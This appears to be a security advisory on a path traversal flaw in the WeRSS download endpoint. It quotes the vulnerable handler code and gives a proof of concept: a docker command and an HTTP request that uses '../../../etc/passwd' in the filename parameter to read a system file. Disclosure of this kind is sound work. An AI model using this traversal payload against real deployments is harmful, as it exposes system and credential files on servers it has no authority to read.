Summary

WeRSS(https://github.com/rachelos/we-mp-rss/)'s file download endpoint contains a path traversal vulnerability that allows authorized user to read sensitive files outside the intended application directory by crafting specially crafted HTTP requests.

Impact

we-mp-rss ≤1.4.8(latest)

Details

  1. Using the endpoint /api/v1/wx/tools/export/list?mp_id={wechat_officer_id}&filename={file_name}, an authenticated user can download files associated with specific WeChat Official Account articles.

    @router.get("/export/download", summary="下载导出文件")
    async def download_export_file(
        filename: str = Query(..., description="文件名"),
        mp_id: Optional[str] = Query(None, description="公众号ID"),
        delete_after_download: bool = Query(False, description="下载后删除文件"),
        # current_user: dict = Depends(get_current_user)
    ):
        """
        下载导出的文件
        """
        try:
            file_path = f"./data/docs/{mp_id}/{filename}"  # <--------  Path Traversal
            
            if not os.path.exists(file_path):
                raise HTTPException(status_code=404, detail="文件不存在")
            
            def cleanup_file():
                """后台任务:删除临时文件"""
                try:
                    if os.path.exists(file_path) and delete_after_download:
                        os.remove(file_path)
                except Exception:
                    pass
            
            return FileResponse(
                path=file_path,
                filename=filename,
                background=BackgroundTask(cleanup_file)
            )
            
        except Exception as e:
            return error_response(500, f"下载失败: {str(e)}")
    

    image.png

    image.png

PoC

  1. start WeRss in docker

    docker run -d  --name we-mp-rss  -p 8001:8001 -v ./data:/app/data  ghcr.io/rachelos/we-mp-rss:latest
    
  2. an authorized user accessing this route can download /etc/passwd

    GET /api/v1/wx/tools/export/download?mp_id=..&filename=../../../etc/passwd HTTP/1.1
    Host: localhost:8001
    Sec-Fetch-Dest: empty
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc3MDUxNzU4Nn0.gVaa04lJLDYdf7EAa8jJysEIlZgzoZMNGFSn812cYyU
    Sec-Fetch-Mode: cors
    sec-ch-ua-platform: "Windows"
    Sec-Fetch-Site: same-origin
    Referer: <http://localhost:8001/>
    sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
    Accept-Encoding: gzip, deflate, br, zstd
    Accept-Language: zh-CN,zh;q=0.9
    Accept: application/json
    

    image.png